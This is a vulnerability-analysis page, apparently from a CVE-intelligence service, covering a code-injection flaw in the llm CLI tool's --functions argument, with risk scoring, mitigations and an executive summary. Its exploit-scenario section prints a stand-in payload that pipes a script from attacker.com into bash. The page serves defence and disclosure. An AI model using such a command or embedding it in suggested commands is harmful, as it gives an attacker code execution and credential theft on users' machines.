Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious llm command
-
DeliveryDistribute via social engineering
-
ExploitVictim executes command
-
ExecutionUnsafe exec() processes --functions
-
PersistArbitrary Python code runs
-
ImpactSystem compromise with user privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to execute an llm command containing malicious code in the --functions argument, typically delivered via social engineering (forum posts, documentation examples, AI-generated suggestions, chat messages). The vulnerability affects default configurations of llm CLI tool through version 0.27.1 with no special feature enablement required. Critical limiting factors significantly reduce real-world risk: (1) Requires victim user interaction to manually execute the crafted command (CVSS UI:N is incorrect - actual UI:R); (2) Attack is local to the victim's system, not remotely executable across networks (CVSS AV:N is incorrect - actual AV:L); (3) Attacker gains only the privileges of the user running the command, not root unless the user is privileged; (4) Requires the llm tool to be installed and in the victim's PATH; (5) Sophisticated users may inspect command arguments before execution, though --functions content may be obfuscated within long command strings. Unlike typical CVSS 9.8 vulnerabilities with true network vectors, this cannot be exploited through automated scanning or direct network requests. |
| Impact | This vulnerability presents a significant risk-reality mismatch that security teams must carefully evaluate. The CVSS 9.8 Critical rating assumes AV:N (network attack vector) with PR:N (no privileges required) and UI:N (no user interaction), suggesting remote unauthenticated exploitation. However, the actual attack mechanism requires social engineering to convince a local user to execute a malicious llm command, fundamentally contradicting the CVSS network vector assumption. The real attack vector is AV:L with UI:R (user interaction required). EPSS probability of 0.02% (5th percentile) aligns with low real-world risk - exploitation requires targeted social engineering rather than automated scanning. No CISA KEV listing exists, and no public exploit identified at time of analysis. SSVC decision factors: Exploitation requires significant user interaction (not automatable), technical impact is total system compromise (high), but exploitation status is none confirmed. Priority should be MODERATE rather than CRITICAL despite the inflated CVSS score. The primary risk is to users who routinely execute commands from untrusted sources (documentation, forums, ChatGPT responses) - organizations should assess whether their users fit this behavioral profile before prioritizing deployment urgency. |
| Exploit ScenarioDerived | An attacker posts a helpful-looking llm command in a developer forum, Slack channel, or ChatGPT prompt response that includes '--functions "import os; os.system('curl attacker.com/mal.sh | bash')"' disguised within legitimate-appearing function code. A developer copies and executes this command, triggering immediate arbitrary code execution with their user privileges. The attacker's payload establishes persistence via cron jobs, exfiltrates credentials from the developer's home directory, and pivots to internal systems accessible from the compromised workstation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 14, 2026
Arbitrary code execution occurs in the llm CLI tool (versions through 0.27.1) when attackers social-engineer victims into running crafted commands containing malicious Python code in the --functions argument. The tool directly executes this code via unsafe exec() without sanitization, enabling full system compromise. CVSS 9.8 assigns network attack vector and no authentication, but real-world exploitation requires local command execution by a tricked user, creating a significant disparity between the vector and actual attack prerequisites. EPSS score of 0.02% (5th percentile) suggests minimal automated exploitation risk, and no active exploitation or public POC has been identified at time of analysis.
RemediationAI
Upgrade to llm CLI tool version 0.27.2 or later if available, verifying fix status at the official GitHub repository (github.com/simonw/llm) and the vendor's Notion advisory page. As of this analysis, no specific patch version has been independently confirmed from vendor advisories - organizations must monitor the GitHub releases page for security updates. If immediate patching is not feasible, implement these specific compensating controls: (1) Disable or restrict the --functions argument through wrapper scripts that filter this parameter before executing llm commands, noting this breaks legitimate custom function use cases; (2) Educate users never to execute llm commands from untrusted sources including AI-generated suggestions, forum posts, or documentation without manual code review of all arguments; (3) Deploy application control policies (AppLocker, SELinux) to restrict llm execution to approved scripts only, which may reduce workflow flexibility; (4) Run llm commands in isolated containers or VMs with minimal privileges, accepting the operational overhead of containerized workflows. Long-term architectural fix requires the llm project to implement AST-based code validation, restricted execution contexts using Python's compile() with limited builtins, or subprocess isolation for function evaluation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The llm CLI tool is a command-line interface for interacting with large language models. The vulnerability stems from CWE-94 (Improper Control of Generation of Code), where the --functions argument accepts user-supplied Python function definitions intended for extending the tool's capabilities. The implementation uses Python's exec() function to evaluate this input directly in the application's runtime context without input validation, AST sanitization, or restricted execution environments (no use of RestrictedPython, sandboxing via subprocess isolation, or capability restrictions). This design flaw allows arbitrary Python code execution with the privileges of the user running the llm command. The CPE data shows 'n/a:n/a', indicating incomplete vendor/product taxonomy in vulnerability databases, though GitHub references confirm the affected product is simonw/llm.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
The llm CLI tool thru 0.27.1 contains a critical code injection vulnerability via its --functions command-line argument. This argument is intended to allow users to provide custom Python function definitions. However, the tool directly executes the provided code using the unsafe exec() function without any sanitization, sandboxing, or security restrictions. An attacker can exploit this by crafting a malicious llm command with arbitrary Python code in the --functions argument and using social engineering to trick a victim into running it. This leads to arbitrary code execution on the victim's system, potentially granting the attacker full control.
Executive ViewAI
CVE-2026-31236 affects the llm CLI tool through version 0.27.1 and enables arbitrary code execution when users are socially engineered into executing malicious commands. While rated CRITICAL with a 9.8 CVSS score, actual exploitation requires user interaction and local command execution, limiting immediate organizational risk; however, any compromise of developer workstations or data science environments could result in full system access and credential theft.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or uninstall llm CLI in non-essential environments; (2) implement strict access controls limiting CLI usage to named developer accounts; (3) require code review and security approval before executing any llm commands containing --functions arguments; (4) deploy endpoint detection and response (EDR) tools to monitor for suspicious Python process spawning from CLI tool execution; (5) educate developers on social engineering risks and establish policy prohibiting execution of untrusted command syntax.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-29559
GHSA-g76p-4vg5-f4qh
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB